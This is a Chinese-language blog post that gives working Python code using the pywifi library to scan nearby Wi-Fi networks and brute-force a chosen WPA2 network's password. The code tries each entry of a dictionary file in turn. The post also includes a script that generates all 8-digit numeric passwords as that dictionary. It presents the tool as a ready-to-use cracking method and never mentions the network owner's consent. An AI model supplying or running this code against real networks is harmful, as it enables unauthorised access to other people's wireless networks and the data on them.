PyWifi破解Wifi密码试验

1、PyWifi简介+安装

参考内容:

https://pypi.org/project/pywifi/

https://blog.csdn.net/qq_41185868/article/details/80396915

PyWifi是通过Python编程语言来操作wifi接口的工具包,安装方法:

在Anaconda控制台中输入指令:pip install pywifi,安装Pywifi包。

登录Python,输入语句import pywifi。如果未出现报错,则安装成功

2、Pywifi的使用

参考内容:

https://blog.csdn.net/qq_41185868/article/details/80396915#pywifi%E7%9A%84%E5%AE%89%E8%A3%85

在IDE中创建新文件,引用模块如下:

import pywifi
from pywifi import const  #引用一些定义
import time

获取wifi连接状态

# 获取是否连接网络
def CheckWifiState():
    wifi = pywifi.PyWiFi()    # 创建一个wifi对象
    ifaces = wifi.interfaces()[0]
    print(ifaces.status())
    if ifaces.status() == const.IFACE_CONNECTED:
        print('Connected to wifi')
    else:
        print('Not connected')

函数执行结果:

获取Wifi名称(SSID),返回所有扫描结果

# 获取并打印无线网络名称
def GetWifiInfos():
    print("正在扫描可用wifi...")
    wifi=pywifi.PyWiFi()#创建一个wifi对象
    ifaces=wifi.interfaces()[0]#取一个无限网卡
    ifaces.scan()#扫描
    wifiInfo=ifaces.scan_results()
    for data in wifiInfo:
        print(data.ssid)#输出wifi名称
    print("扫描结束")
    return wifiInfo

函数执行结果:

3、Pywifi破解Wifi密码

参考内容:

https://blog.csdn.net/qq_28840013/article/details/85141156

通过SSID名称,调出扫描结果中的网络配置

def GetWifiProfile(name, wifiInfo):
    wifiProfileSel = None
    for wifiProfile in wifiInfo:
        if wifiProfile.ssid == name:
            wifiProfileSel = wifiProfile
            break
    return wifiProfileSel

根据给定的密码和网络设置(network profile),尝试连接

def testwifi(password, wifiProfile):

    wifi=pywifi.PyWiFi()   #抓取WiFi接口
    ifaces=wifi.interfaces()[0]  #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
    #print(ifaces.name())  #我们可以试试输出网卡名称
    ifaces.disconnect()  #断开网卡连接

    profile=pywifi.Profile()   #定义配置文件对象
    profile.ssid=wifiProfile.ssid   #wifi名称,貌似不能用中文?
#    profile.auth=wifiProfile.auth   #const.AUTH_ALG_OPEN   #auth - AP的认证算法
    profile.auth=const.AUTH_ALG_OPEN   #auth - AP的认证算法
#    profile.akm=wifiProfile.akm
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  #选择wifi加密方式  akm - AP的密钥管理类型
#    profile.cipher=wifiProfile.cipher           #const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
    profile.cipher=const.CIPHER_TYPE_CCMP  
    profile.key=password   #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

    ifaces.remove_all_network_profiles()  #删除其他配置文件
    tmp_profile=ifaces.add_network_profile(profile)   #加载配置文件

    ifaces.connect(tmp_profile)   #按配置文件进行连接
    time.sleep(3)  #尝试几秒能否成功连接
    isOK=False
    if ifaces.status() == const.IFACE_CONNECTED:   #判断连接状态
        isOK=True 
    
    ifaces.disconnect() #断开
    time.sleep(1)
    #检查断开状态
    assert ifaces.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK

从字典文件wordlist.txt中读取密码,并尝试连接给定SSID的Wifi网络

def CrackWifi(wifiProfile):
    path=r"wordlist.txt"
    files=open(path,'r')
    while True:
        f=files.readline()
        f = f[:-1]   #去除了这行文本的最后一个字符(换行符)后剩下的部分
        print('[-]正在尝试:', f)
        boolVal=testwifi(f,wifiProfile)
        if boolVal == True:
            print('[+]wifi连接成功!')
            print("密码为:",f)
            break
        else:
            print("[-]wifi连接失败!")
        if not f:   #如果文件逐行读取完,则退出
            break
    files.close()

主函数

def main():
    print("开始...")
    wifiInfo=GetWifiInfos()
    name = input('请输入wifi名称: ')
    wifiProfile = GetWifiProfile(name, wifiInfo)
    if not wifiProfile:
        print("非扫描结果,退出...")
    else:
        CrackWifi(wifiProfile)
    
        
if __name__=="__main__":
    main()

函数执行结果:

4、字典文件的生成

参考内容:

https://www.jb51.net/article/143322.htm

生成内容为所有8位数组合,输出文件有953MB。。

如果有更好的字典生成方法,欢迎留言。

import itertools as its

words = "1234568790"
r =its.product(words,repeat=8)
dic = open("wordlist.txt","a")

for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))

dic.close()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值